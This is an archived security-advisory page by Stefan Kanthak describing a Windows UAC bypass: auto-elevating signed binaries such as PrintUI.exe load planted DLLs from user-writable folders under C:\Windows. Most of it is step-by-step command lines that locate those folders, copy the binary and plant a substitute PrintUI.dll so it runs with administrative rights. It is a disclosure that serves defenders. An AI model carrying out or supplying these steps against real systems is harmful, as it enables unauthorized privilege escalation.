what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Windows UAC Privilege Escalation

Microsoft Windows UAC Privilege Escalation
Posted Apr 30, 2021
Authored by Stefan Kanthak

Microsoft Windows can dupe users into trusting executables with DLL hijacking and privilege escalation issues.

tags | exploit
systems | windows
SHA-256 | cb269dbc3308c3e9fbe0001388d76caee981689af8bcb73404441bdd457de392

Microsoft Windows UAC Privilege Escalation

Change Mirror Download
Hi @ll,

Microsoft still ships Windows with and lets it create user-writable
directories below the "Windows" directory %SystemRoot%\ -- despite
that, with exception of %SystemRoot%\Temp\, they are all used to
store DATA and SHOULD have been placed below %ProgramData% alias
%SystemDrive%\ProgramData\ instead!

JFTR: %ProgramData% was introduced with Windows Vista more than 15
(in words: FIFTEEN) years ago, but Microsoft obviously just
doesn't care to cleanup their mess.

Authenticode signature verification, for example required to color the
UAC prompt yellow (untrusted) or blue (trusted) and as precondition
for the "auto-elevation" (mis)feature of some 63+ applications shipped
with Windows 7 and ALL later versions, doesn't care about the filename
of an executable, but (eventually) evaluates the pathname of the
(application) directory.

Put together these two weaknesses allow to run arbitrary code WITH
administrative rights in several (user-writable) directories below
C:\Windows: in the account created during Windows setup without UAC
prompt, in (unprivileged) standard user accounts with (blue) UAC prompt!

CVSS 3.0 score: 8.2 (High)
CVSS 3.0 vector: 3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H


1. Log on to an arbitrary unprivileged (standard) user account and start
the command processor, then run the following command lines to detect
the user-writable directories below %SystemRoot%\ through creation of
a hardlink named WRITABLE.EXE and collect their pathnames in the file

COPY /Y NUL: "%ProgramData%\WRITABLE.LOG" && (
DIR "%SystemRoot%" /A:D /B /S 1>"%ProgramData%\WRITABLE.TMP" && (
FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO @(
MKLINK /H "%~?\WRITABLE.EXE" "%ProgramData%\WRITABLE.LOG" 2>NUL: && 1>>"%ProgramData%\WRITABLE.LOG" ECHO %~?))
TYPE "%ProgramData%\WRITABLE.LOG")

On fresh installations of Windows 10 2004/20H1/20H2 for AMD64 alias
x64 processors this yields the following pathnames:


On installations which were upgraded to (any version of) Windows 10,
the following additional pathname is typically listed:


On installations which have been used for some time, the following
additional pathnames are typically listed:


2. Let's see whether the hardlinks WRITABLE.EXE can be (ab)used: copy an
arbitrary executable to all of them and execute it.

JFTR: PrintUI.exe is one of the 63+ applications which have UAC auto-
elevation enabled.

COPY /Y "%ProgramData%\WRITABLE.LOG" "%ProgramData%\WRITABLE.TMP" && (
COPY /Y "%SystemRoot%\System32\PrintUI.exe" "%ProgramData%\WRITABLE.LOG" && (
FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO (

In unprivileged (standard) user accounts this triggers an UAC prompt
for each file executed, some yellow, showing "Publisher: Unknown",
some blue showing "Verified Publisher: Microsoft Windows".

After giving consent to the UAC prompt a dialog box showing usage
instructions for PrintUI.dll is displayed, indicating that (the copy
of) PrintUI.exe loads PrintUI.dll:

| Usage: rundll32 printui.dll,PrintUIEntry [options] [@commandfile]

JFTR: since PrintUI.exe runs elevated, PrintUI.dll runs elevated too!

3. Let's verify the Authenticode signature of the copy of PrintUI.exe:

SignTool.exe VERIFY /A /V "%ProgramData%\WRITABLE.LOG"

| Verifying: C:\ProgramData\WRITABLE.LOG
| File is signed in catalog: C:\Windows\system32\CatRoot\{F750E6C3-38EE-11D1-85E5-
| Successfully verified: C:\ProgramData\WRITABLE.LOG

Authenticode doesn't care about the path/filename of signed executables,
even for files with detached signatures, although the *.CAT files used
to distribute detached digital signatures can store the filename!

4. Let's see whether PrintUI.exe follows the guidance given by the MSRC
(Microsoft Security Response Center) in the almost 7 year old blog post
the more than 10 year old security advisory
<https://technet.microsoft.com/en-us/library/2269637.aspx>, or the nearly
10 year old MSKB articles <https://support.microsoft.com/en-us/kb/2389418>
and <https://support.microsoft.com/en-us/kb/2533623>: copy ShUnimpl.dll
as PrintUI.dll next to the copy of PrintUI.exe and execute the latter.

JFTR: ShUnimpl.dll is the graveyard for obsolete "shell" functions; its
_DllMainCRTStartup() entry point function returns FALSE to disable
their use, lets the module loader fail with NTSTATUS 0xC0000142
alias STATUS_DLL_INIT_FAILED, and lets LoadLibrary() fail with the
Win32 error 1114 alias ERROR_DLL_INIT_FAILED

COPY "%SystemRoot%\System32\ShUnimpl.dll" "%ProgramData%\PrintUI.dll"
RENAME "%ProgramData%\WRITABLE.LOG" PrintUI.exe
START "" /WAIT "%ProgramData%\PrintUI.exe"

OUCH: (the copy of) PrintUI.exe loads an arbitrary PrintUI.dll from its
application directory instead of %SystemRoot%\System32\PrintUI.dll

The Common Weaknesses and Exposures classifies such misbehavior, which
results in arbitrary code execution (here with escalation of privilege),
- CWE-426: Untrusted Search Path
- CWE-427: Uncontrolled Search Path Element

The Common Attack Pattern Enumeration and Classification lists it as
- CAPEC-471: Search Order Hijacking

JFTR: (un)fortunately PrintUI.dll is not the only DLL that PrintUI.exe
loads from an unsafe path, and (un)fortunately PrintUI.exe is not
the only auto-elevating application which loads DLLs from unsafe

A really big "Hooray!" to Microsoft's sloppy, careless and clueless
developers as well as their sound asleep quality^Wmiserability assurance!

5. Let's see whether UAC auto-elevation is also possible in at least one
of the user-writable directories: log on to the UAC-controlled user
account created during Windows setup, start an UNELEVATED (unprivileged)
command prompt and run the following command lines:

FOR /F "Delims= UseBackQ" %? IN ("%ProgramData%\WRITABLE.TMP") DO (
MKLINK /H "%~?\PrintUI.dll" "%ProgramData%\PrintUI.dll" && (


UAC performs auto-elevation at least in the directories
and C:\Windows\System32\Tasks_Migrated\; a copy of PrintUI.exe run in
these directories loads/executes an arbitrary PrintUI.dll placed there
too, with ADMINISTRATIVE privileges, without UAC prompt.

JFTR: even without UAC auto-elevation, this beginner's error present in
PrintUI.exe (really: almost all applications shipped with Windows)
allows to fool Jane and Joe Average who typically give consent to a
blue UAC prompt which shows "Certified Publisher: Microsoft Windows".

stay tuned, and far away from Microsoft's eternally vulnerable crap!
Stefan Kanthak

Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By